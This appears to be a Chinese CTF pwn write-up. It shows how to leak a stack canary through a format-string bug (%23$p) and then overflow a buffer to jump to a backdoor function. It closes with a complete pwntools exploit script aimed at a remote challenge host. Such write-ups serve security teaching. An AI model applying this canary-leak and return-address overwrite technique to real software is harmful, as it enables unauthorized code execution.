64位程序,開啓了canary和nx保護
執行以下,效果如下:
有提示:
輸入1那塊存在棧溢出
輸入2那塊存在格式化字符串漏洞
拖到ida看一下
main函數:
棧溢出的函數:
有canary保護,根據程序可以看出,v2應該就是canary的值,一開始,將_readfsqword(0x28u)的值給v2,後來又和v2做異或操作,只有v2與它還相等,程序返回0,否則返回不爲零的數。
加入了canary後,棧幀情況如下圖:
根據註釋:buf在rbp-90h,v2在rbp-8h,所以,覆蓋返回地址的話,需要0x90-0x8=0x88覆蓋局部變量,然後放上canary的值,在8個“a”覆蓋ebp,最後加上system的返回地址既可以。
格式化字符串漏洞函數:
攻擊可以用棧溢出,但是缺少canary的值,可以用格式化字符串漏洞來泄漏,buf和v2的位置在兩個函數裏都一樣
首先看下我們輸入時候的偏移
%p可以泄露十六位的地址
可以數到,我們輸入後的偏移爲6
又因爲,buf和v2本來的差距就有0x90-8h=0x88 0x88/0x8=0x11(十進制17)
所以,總共需要往後找17+6=23個地址上即存canary的值
在text段,找到後門函數(看下text段)
根據以上,可以寫exp
#coding=utf-8
from pwn import *
context.log_level = 'debug'
p = remote('111.198.29.45',56161)
p.recvuntil("Exit the battle ")
p.sendline(str(2))#先進入格式化函數泄漏cannary
p.sendline("%23$p")#泄漏cannary
p.recvuntil("0x")
canary = int(p.recv(16),16)#接收16個字節
p.recvuntil("Exit the battle ")
payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA)
p.sendline(str(1))
p.sendline(payload)
p.interactive()
運行結果: